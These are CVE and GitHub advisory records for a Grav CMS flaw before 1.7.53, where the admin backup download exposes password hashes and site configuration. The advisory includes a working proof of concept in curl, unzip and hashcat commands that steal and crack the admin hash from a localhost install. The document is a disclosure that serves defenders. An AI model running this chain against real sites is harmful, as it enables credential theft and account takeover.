{
  "affected": [
    {
      "affectedData": [
        {
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.7.53"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Grav is a file-based Web platform. Prior to 1.7.53, an authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including user/accounts/admin.yaml with the administrator password hash and user/config with site configuration, through the backup download endpoint protected only by the session-static admin-nonce URL parameter. This issue is reported as fixed in version 1.7.53."
    }
  ],
  "id": "CVE-2026-55885",
  "lastModified": "2026-07-14T02:16:56.520",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.8,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55885",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-14T01:57:32.723483Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-10T17:17:00.273",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getgrav/grav/releases/tag/1.7.53"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-312"
        },
        {
          "lang": "en",
          "value": "CWE-522"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.53"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55885"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:31:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including `user/accounts/admin.yaml` with the admin\u0027s bcrypt password hash and email, plus `user/config/` with all site configuration. The download endpoint requires only the session-static `admin-nonce` in the URL, no additional form-level CSRF token, and reveals the server\u0027s full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on `http://{Grav_URL}/admin`, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.\n\n### Details\nThe vulnerability chain spans three components in the deployed Grav source tree at `/var/www/html/grav/`:\n\n**1. Backup archive scope \u2014 `Backups::backup()`**  \n`/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272`\n\nThe `backup()` static method creates a ZIP of the directory specified by the backup profile\u0027s `root` property. The default profile (ID `0`, named `default_site_backup`) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:\n\n```php\n// Backups.php:225\n$backup_root = rtrim(GRAV_ROOT . $backup-\u003eroot, DS) ?: DS;\n```\n\nSince the default profile ships with no `root` override, `$backup-\u003eroot` is empty, making `$backup_root` equal to `GRAV_ROOT` \u2014 i.e. `/var/www/html/grav/`. The archive therefore captures the entire installation including:\n\n- `/var/www/html/grav/user/accounts/` \u2014 admin password hash, email, full name, granular permissions\n- `/var/www/html/grav/user/config/` \u2014 system settings, potentially email SMTP credentials\n\nThe `exclude_files` and `exclude_paths` options on lines 232-235 are empty by default and offer no protection against including account files.\n\n**2. Backup download handler \u2014 `AdminController::taskBackup()`**  \n`/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573`\n\nAfter creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:\n\n```php\n// AdminController.php:558-560\n$download = urlencode(base64_encode($backup));\n$url = rtrim(...) . \u0027/task\u0027 . $param_sep . \u0027backup/download\u0027 . $param_sep\n       . $download . \u0027/admin-nonce\u0027 . $param_sep . Utils::getNonce(\u0027admin-form\u0027);\n```\n\nThe download handler (lines 532-541) decodes the path, locates the file via the `backup://` stream, and serves it with `Utils::download($file, true)`. It performs only two checks: the filename must end in `.zip` and the file must actually exist. It does **not** verify the file belongs to the requesting user, does **not** enforce a form-level nonce, and does **not** tie the download to a specific session.\n\n**3. Nonce validation \u2014 permissive**  \nThe backup route is protected only by the `admin-nonce` parameter appended to the URL path. This nonce is session-static and shared across every admin page. No `form-nonce` is required \u2014 unlike page saves or configuration changes which demand both `admin-nonce` and `form-nonce`. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.\n\n### PoC\n**Prerequisites:** Admin session with valid `admin-nonce`.\n\n**Step 1 \u2014 Authenticate and extract the session-static nonces:**\n```bash\n# Get login page, extract login-nonce, authenticate\nNONCE=$(curl -s -c /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP \u0027name=\"login-nonce\" value=\"\\K[^\"]+\u0027)\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=Passw0rd123!\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n\n# Extract the admin-nonce (same value on every admin page)\nADMIN_NONCE=$(curl -s -b /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP \u0027admin-nonce[:=]\\K[a-f0-9]+\u0027 | head -1)\necho \"Admin nonce: $ADMIN_NONCE\"   # e.g. 68d6b108bc1398028365fb35ea760baf\n```\n\n**Step 2 \u2014 Trigger a backup (single GET, no form-nonce needed):**\n```bash\ncurl -s -b /tmp/jar \\\n  \"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}\"\n```\n\nResponse:\n```json\n{\n  \"status\": \"success\",\n  \"message\": \"Your backup is ready for download. \u003ca href=\\\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\\\" class=\\\"button\\\"\u003eDownload backup\u003c/a\u003e\"\n}\n```\n\n**Step 3 \u2014 Extract the Base64 download token and fetch the ZIP:**\n```bash\n# The download path is base64(\"/var/www/html/grav/backup/default_site_backup--20260616122449.zip\")\n# This reveals the full server filesystem path.\ncurl -s -b /tmp/jar -o /tmp/backup.zip \\\n  \"http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}\"\n```\n\n**Step 4 \u2014 Extract the password hash from the ZIP:**\n```bash\nunzip -p /tmp/backup.zip \"user/accounts/admin.yaml\"\n```\n\nOutput:\n```yaml\nstate: enabled\nemail: admin@grav.com\nfullname: \u0027Grav Admin\u0027\ntitle: Administrator\naccess:\n  admin:\n    login: true\n    super: true\n  site:\n    login: true\nhashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\n```\n\n**Step 5 \u2014 Crack the bcrypt hash offline:**\n```bash\necho \u0027$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\u0027 \u003e hash.txt\nhashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt\n```\n\n**Step 6 \u2014 Log in with the cracked password (no rate limit):**\n```bash\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=\u003ccracked_password\u003e\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n```\n\n### Impact\n- **Type:** Authenticated sensitive data exposure enabling offline credential theft\n- **Attack surface:** Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)\n- **Exposed data:** Admin username, email, full name, granular permission structure, bcrypt password hash (`$2y$12$...`), and full site configuration from `user/config/`\n- **Downstream risk:** Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes\n- **Server path leakage:** The Base64-encoded download token reveals the absolute filesystem path `/var/www/html/grav/backup/` \u2014 information critical for LFI, file-write, and path traversal attacks",
  "id": "GHSA-2f86-9cp8-6hcf",
  "modified": "2026-06-18T14:31:13Z",
  "published": "2026-06-18T14:31:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav: Admin Backup Zip File Exposes Account Credentials and Configuration Secrets"
}